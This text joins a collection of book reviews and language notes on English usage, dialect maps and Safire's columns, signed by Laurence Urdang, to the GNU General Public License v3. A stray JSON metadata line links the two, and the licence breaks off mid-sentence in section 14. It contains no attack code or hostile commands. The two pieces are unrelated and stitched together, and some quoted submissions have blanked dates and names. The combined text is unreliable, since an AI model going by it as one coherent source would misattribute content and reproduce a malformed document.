Japanese has a verb inflection which expresses causation or permission—in English, “to make someone or to let someone do something.” One day during a university English class, a very discomfited student, after frantic and obtrusive dictionary work, handed a colleague of mine a scrap of paper. On it was written this sentence: “Please make me go to the bathroom.” You Could Look It Up As everyone in the world must know by now, William Safire writes a column in The New York Times Magazine called “On Language.” Considering the circulation of The New York Times on Sundays, his column is probably the most widely read commentary on contemporary English in the world; that places more than one uncommon burden on a writer: he must do his utmost to be accurate; he must try to select subjects likely to be of interest to his readers; and he must write well. Those familiar with Safire's editorial style, reflected in his political columns on the editorial pages of The N. Y. Times , may agree with me in the contention that when he writes about language he seems to be writing on his day off: I cannot put my finger on why, but “On Language” always strikes me as an excruciating effort to be cute. In part, that is attributable to the designation of his correspondents, who keep him informed on language that is not within earshot, as the “Lexicographic Irregulars,” an amusing reference the first time or two it was used but now beginning to cloy. More often than it might prove of interest to me, personally, Safire deals with insiders' language in Washington (where he is based) or with trivialities uttered by some politico. As Andrew Norman wrote, in a letter published in this book on page 113, “You flit freely back and forth between prescriptivism and descriptivism.” But are not many of us guilty of that? We are descriptive of the usages we accept and prescriptive—perhaps proscriptive would be more descriptive—of those we do not like. At least Safire expresses an opinion; whether the reader agrees with him is another matter, as are the questions of his accuracy, which arise fairly often, and that of the suitability of his style, which, as far as I know, has not been broached before. It ill behooves me, excoriated recently as enamored of the “cheap larf,” to criticize Safire's arch puns, which permeate—“enliven” is probably the word his editor would use—his articles, but I find some kinds of humor unsuitable for reading, however they might evoke a chuckle when uttered viva voce . A handful of examples, from the book at hand: Therefore, I stand uncorrected. [p. 112] ...“Get your hand off my knee.” (That's a mnemonic, pronounced knee-MONIC.) Ize Right? [title, p. 114] Juggernaughty but Nice [title, p. 115] ...slanguist...[p. 116] Lex Appeal [title, p. 121] Logue-Rolling [title, p. 123] [on -logue vs. -log:] Some people prefer their logues sawed off...[p. 123] But the Library of Congress wants to be non-U [in its spelling of -logue words]. [ibid.] Writing containing such labored figures makes for hard reading. I am interested in what Safire has to say about language but find myself stymied: I get the feeling that he has deliberately created a minefield of interruptions in thought through which I must pick my way to the end. Notwithstanding the valuable role he plays in inspiring nonlinguists to think about language and in informing them about myriad facets of the subject, I find it hard slogging (or, as he would probably write, “sloguing”). You Could Look It Up is the umpteenth collection of Safire's columns and, like the previous collections, contains a selection of letters from readers. It is those that are so sorely missed in his column. True, there is an occasional mention in his column of a point raised by a correspondent, and the Letters section of the Magazine prints a comment from time to time, but an important feature of the books is their inclusion of far more writer-reader interaction than one might suspect from reading the column alone. For one thing, the letter-writers call attention to errors or misinterpretations and are largely critical. Safire cannot be accused of being copy-proud (except, evidently, of awful puns, as in “ Ms. is deliberately msterious , but at least it is not deliberately msleading ” and other mscegenations). There is no gainsaying that Safire is one of the most influential writers on contemporary English, and it is essential that his books be in the libraries of all who are interested in the subject, regardless of their alignment with his opinions. For one thing, he documents many neologisms, an activity that endears him to many working lexicographers. From the sometimes cavalier manner in which he treats his subject, one wonders if Safire feels the burden of the responsibility he has toward his readers. The publisher sent unrevised bound proofs from which this review was prepared; unfortunately, there was no proof of an index, but the publisher has assured me that there will be one in the published book, a rather essential ingredient of a work with this title. Laurence Urdang Webster's New World Guide to Current American Usage Here is a commonsense style book, useful to those who have the education and common sense to be in doubt about questions of English usage. It has some problems, if you want to be sticky about things: on p. xv we read: ...Einstein's Special Theory of Relativity does not say that E = MC² and in leap year MC³. Indeed it does not. But it does say E = mc² ; the version with the capital M and C is, essentially, meaningless to those familiar with the conventional symbolism used in physics. While I acknowledge that it is not easy to know how to sort out the many topics to be covered in a usage book, most reasonable writers have taken a stab at writing an entry under a heading that seems a likely place to look, then have provided a detailed index. Not Bernice Randall. True, one can find different from , etc., in an entry so headed, but for absolute constructions one is referred to an entry called “Covered with onions, relish, and ketchup, I ate a hotdog at the ball-park.” If the user wants to find out about misplaced adjectives and adverbs , reference is made to the entry “Electric shaver for women with delicate floral design on the handle.” A search for only would be futile. Perhaps the subject and treatment of usage need some lightening up, but I am hard put to agree that they are quite as frivolous and light-headed as this book would have us believe. Fun is fun, but those who might rely on such a book are quite serious about the information they are seeking, and it is unfair to play fast and loose with their sincerity. A sense of humor about a subject is born of a feeling of security about it, but security is the one characteristic often lacking among those who would use Current American Usage . There is no doubt that Randall enjoys her work. But of what use is a long entry on spoonerisms? And of what use are the interminable examples, for instance, of the misuse of like for as , which draw out the entry to three pages? More than four pages are devoted to clichés (under the guise of “Lo and behold, it's man's best friend.,” which, being an exclamation, really ought to end in an exclamation point). The article on British/American English (“There's no home like Eaton Place.”) is a good one, but, at six pages, its utility is questionable. In the matter of pronunciations of BrEng names, it is an old-fashioned fantasy of Americans that Brits go round saying POM-frit for Pontefract : most Brits that I have heard give the name a spelling pronunciation these days; and so with many of the old shibboleths. Of what relevance (to usage, notwithstanding the fact that the topic is interesting) is an entry on eponyms (“John Bull and John Hancock are not just any johns.”)? That is not, strictly speaking, a subject pertinent to the title of the book. All of which is to say that the book is an interesting work on the language and contains accurate, though longwinded information about what it covers, “interesting and useful facts about American English.” Its only real faults are its title, which belies the content, the cutesy headings, and the lack of a truly detailed index: self-indexing does not provide coverage of sufficient detail. As a reference work on usage, it is far from complete: The Simon and Schuster Publicity Department could have used an entry on foreword/ forward (spelt “foreward” in the release accompanying the review copy). A longish section, “Some Troublesome Idiomatic Prepositions,” and a “Glossary of Grammatical and Linguistic Terms Used in This Book,” followed by a list of “References,” sources associated with specific entries, round out the work. Laurence Urdang Language Notes from Abroad “Once more unto the breach for the warriors of 1'Académie Française in their uphill battle to preserve the purity of their native tongue. Examples of franglais which they find particularly monstrous are, I hear, to be condemned to a newly created “Musée des horreurs.” The first is “sponsor, sponsoriser, sponsorisation.” The academy also calls upon all French to send in further examples of “linguistic pollution,” observing ruefully that this is one museum which will be open 12 months a year. But the savants have passed barman, blazer, bobsleigh , and boycott as fit for inclusion in their new dictionary.” [From The Times , 15 January 1988] Letter to the Editor of The Times Penny Perrick regrets (January 11) that “There is no word in English to describe that particular, special sort of pride that one feels in the achievements of one's children.” But the verb kvell , which exactly expresses that emotion, is already (like other Yiddish loanwords, such as chutzpah, meshugga and nosh ) to be found in the Supplement to the Oxford-English Dictionary . If you think that the practice in some Muslim countries of amputating the hand of a thief is harsh, beware of participating in horse shows in England, where there is no capital punishment but the issue arises every few years: A carriage and team of Cleveland Bay horses, driven by Mr Fred Pendlebury...[were] approaching the water obstacle during the cross-country section of the Harrods International Grand Prix when the leading pair became confused, turned back and became entangled with the second pair. Mr Pendlebury, of Smithills, near Bolton, Greater Manchester, was eliminated. [From The Times , 16 May 1988] Loose Cannons & Red Herrings Readers should be familiar with Robert Claiborne's earlier books, especially Our Marvelous Native Tongue: The Life and Times of the English Language . One might say that subtitling the present book “A Book of Lost Metaphors” is an example of a loose canon [sic] — unless metaphor is taken in its broadest sense—but one is unlikely to find red herrings here: the etymologies of a few hundred words and phrases are given, many not readily findable in standard works of reference. The rationale behind referring to them as “lost” arises from the author's observation of an unfortunate state of affairs: because of an increasingly widespread lack of familiarity with the basic, structural elements of our culture—Greek and Roman mythology, the Bible, literature, and ordinary historical fact—people today are unable to discern the origins of terms like aphrodisiac, Achilles [sic] heel or tendon, meet one's Waterloo, sow dragon's teeth , and hand-writing on the wall , to name a few. There are many, of course, but unaccountably, they are not the focus of this book. Claiborne investigates and reports on expressions like sow one's wild oats , about which he tells us little or nothing: the modern Latinate designation Avena fatua came too many centuries after the original expression to have any relevance to it, so why bring up the information that fatua is Latin for `foolish': it was also Latin for `wild,' which might be more to the point. In any event, it is hard to discern, from the arch style affected in an attempt to make dull facts interesting, just what is the origin of sow one's wild oats . In many entries, Claiborne labors the obvious, offering little or nothing we do not already know, could easily imagine, or for which the author offers no explanation. Among examples of the first are spit and polish, on the spot, on the square, stick one's neck out , etc. Examples of the last include spill the beans, square the circle, stalemate , etc. Between these is an occasional flash of useful wisdom, much of it pretty well covered by other books of this type (which seem to be proliferating). What is missing, for example, at square the circle , is the information that because the area of a circle is mathematically calculated using pi , which is irrational, there is no mathematical way of calculating the dimensions of a square with the same area as that of a given circle. But that does not mean that such a square cannot exist. As for stalemate , which is related to checkmate , would it not have been important to indicate that the - mate part has nothing to do with English, having been borrowed from checkmate which is a loanword from Persian (and has nothing to do with check , either). Often, an entry offers nothing in the way of etymology and merely explains the meaning. Does any reader need an entry like this one? straddle . When you straddle a horse, you've got one leg on either side of the animal. When a politican straddles an issue, he's in much the same position. Some speculative suggestions, as the derivation (or reinforcement) from Seidlitz powders for take a powder are sheer nonsense. Not all entries contain misleading, dull, or incorrect information, but those that do not are marked by a lack of originality. Laurence Urdang Word Maps Dialect geography, a branch of dialectology, describes certain features of the dialects of a language and their distribution. The field is about 100 years old. Most prominent among its earliest practitioners in England was Joseph Wright, who prepared the six-volume English Dialect Dictionary , which was published between 1898 and 1905; the best-known contemporary British specialist is Harold Orton. In America, work proceeded space during the 1930s, largely under the direction of Raven McDavid, Hans Kurath, and, later, Harold Allen; more recently, Lee Pedersen and others have investigated American English dialects. Between 1948 and 1961, fieldworkers based at the University of Leeds conducted the Survey of English Dialects, which studied 313 localities in England (which, as everyone ought to know, does not include Wales or Scotland). The present book is extracted from the two major works that resulted from the Survey, The Linguistic Atlas of England (1978) and A Word Geography of England (1974), both under the direction of Harold Orton, aided by Sanderson and Widdowson in the latter effort. People generally seem to find dialect study interesting. One letter writer to The Times [21 June 1988] reported: Our close neighbour... in Bere Regis, who was born in the village and who speaks with a delicious Dorset burr, always uses “I” instead of “me.”... “Well, it makes company for I and company for she.” Another of his happy expressions is inner-wards, meaning `since,' as in...“I chucked him out the door and he's not been back innerwards.” Another reported [same date]: Let's get it right. The Bristol for “me” is not “I,” but “oi.” When I was teaching there, the explanation invariably given by boys brought to me for scrapping in the playground was: “Ee it oi, so oi it ee.” The 100 maps selected for representation from the Survey yield information on several hundred words, some of which are clear variants, others quite different lexical entities. For instance, Map 34 shows the areas, marked off by boundary lines, where the variants chimley chimbley, chimmock, chimdey, chimbey , and chimney occur. Map 33 shows the distribution of child (most of southern England) and of bairn (north of a slightly wavy line between Boston, on the Wash to the east, and Lancaster, on the west coast). The authors have provided a brief introduction which is easy to follow, a list of suggested readings, and the names and addresses of the several institutions and societies in Britain where readers may indulge a more intensive interest in dialect study. The maps are clear, each occupying a full page, and the word information is well set forth on them. Where necessary, brief but not cryptic explanations are provided of any information that might seem to be out of the ordinary. I have only one nit to pick with the authors. In their description of isoglosses , they write: These are drawn to run midway between/ localities which were shown by the Survey of English Dialects to use the different words or pronunciations which are the subject of the map. Although it is true that isoglosses, in effect, set off the various areas where a particular usage was recorded, more accurately an isogloss is drawn to connect sites either where speakers employ both usages or where speakers using one or the other live in very close proximity. Hence, the term isogloss , from iso - `same' + gloss `word,' to describe the line on a map where the terms are of equal distribution. Isoglosses are to dialect maps what isobars and isotherms are to weather maps, what isobaths are to geophysical maps of the oceans, etc. The authors are not alone in getting this wrong: it is incorrect in some dictionaries. In those countries where dialect study is undertaken, dialectologists observe that there are today many factors militating against the strict maintenance of older dialect boundaries: the standardization of terminology as adopted by national periodicals, news services, radio, and television; the establishment of “prestige” dialects and, through the media, their promulgation; and the huge population shifts that have taken place, particularly in the U.S. since WWII. Such shifts have been somewhat slower in England, but seem now to be speeding up. There are many other, lesser factors at work, but taken together, all tend toward standardization, especially as the older speakers die off. In some respects, it may not be long before certain aspects of dialect geography will be largely historical. The importance of dialect is emphasized regularly in the press, where we read about people being killed, as in parts of India, because they use the wrong shibboleths. This book is a good introduction to the subject (in England); those familiar with dialectology in America, and those interested in the study in England or, indeed, generally would be well advised to add Word Maps to their libraries. Laurence Urdang American Literary Almanac This is an interesting, useful reference book containing information about the better-known writers of America. It is divided into eighteen chapters varying in length, each dealing with a different aspect of the authors and their works, among them, Writers Related to Writers Schooldays (which colleges and universities spawned which writers) American Literary Pseudonyms American Literary Title Sources Literary Cons: Hoaxes, Frauds, and Plagiarism in American Literature The Profession of Authorship: Authors/Publishers/ Editors/Agents Thrown to the Wolves: Reviews and Reviewers These are supplemented by an extensive Bibliography and a detailed Index. As can be seen from the chapter headings, some of the material is trivial, but nonetheless interesting for that. It is not at once apparent why the book is styled an “almanac,” but that is unimportant: there is no other book I know of that contains as much diverse information about American writers as this one. Its readability and organization make it suitable for browsing—even for reading straight through—so in that respect, at least, it does not resemble books in the “Oxford Companion” series. It contains many photographs of writers, some quite early; these enliven the appearance of the book but accomplish little else, unless one is interested in what Samuel Clemens looked like at the age of 15 (as a printer's devil) or in the appearance of Hart Crane standing in the middle of a railroad track in Cleveland in 1916. It is difficult to make any sensible connection between the lives of authors and their creations. A handful might have led colorful existences, some are objects of interest because they died early, committed suicide, were related to (other) famous people, and so forth; but such information seldom reveals as much about their output as do the creations themselves, and in certain cases one is probably better off not knowing quite so much. This book appears to have been diligently researched and has much to recommend it as an adjunct to most libraries, public and private, large and small, general and specialized. Laurence Urdang “Faculty protest against apartheid at Cornell.” [TV news tease, WHEC, Rochester, . Submitted by .] “[the tenor] brings the opera to its climax in his final suicide.” [From a review of Handel's Tamerlano in the issue of Stereo Review. Submitted by .] I would like to make a couple of comments on articles in the Autumn 1988 issue [XV,2]. Re the article on Cuthbert, Dickens uses intercourse to mean `communication between people' in A Christmas Carol when Scrooge says “I will not be the man I must have been but for this intercourse” to the third Spirit. I would think that the words grand and stretch would be known to more people than two of the words the author gives as being familiar ( chippy and hootch ). Incidentally, I seem to recall reading somewhere that skins as slang for `dollars' dates from frontier days when trappers used animal skins as currency, and is therefore much older than early 20th-century Harlem. “...the party consisted of Beckett, Dame Peggy Ashcroft, Harold Pinter, and the late Alan Webb.” [from The Times Diary , , ]
{ "pile_set_name": "Github" }
GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/> Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or 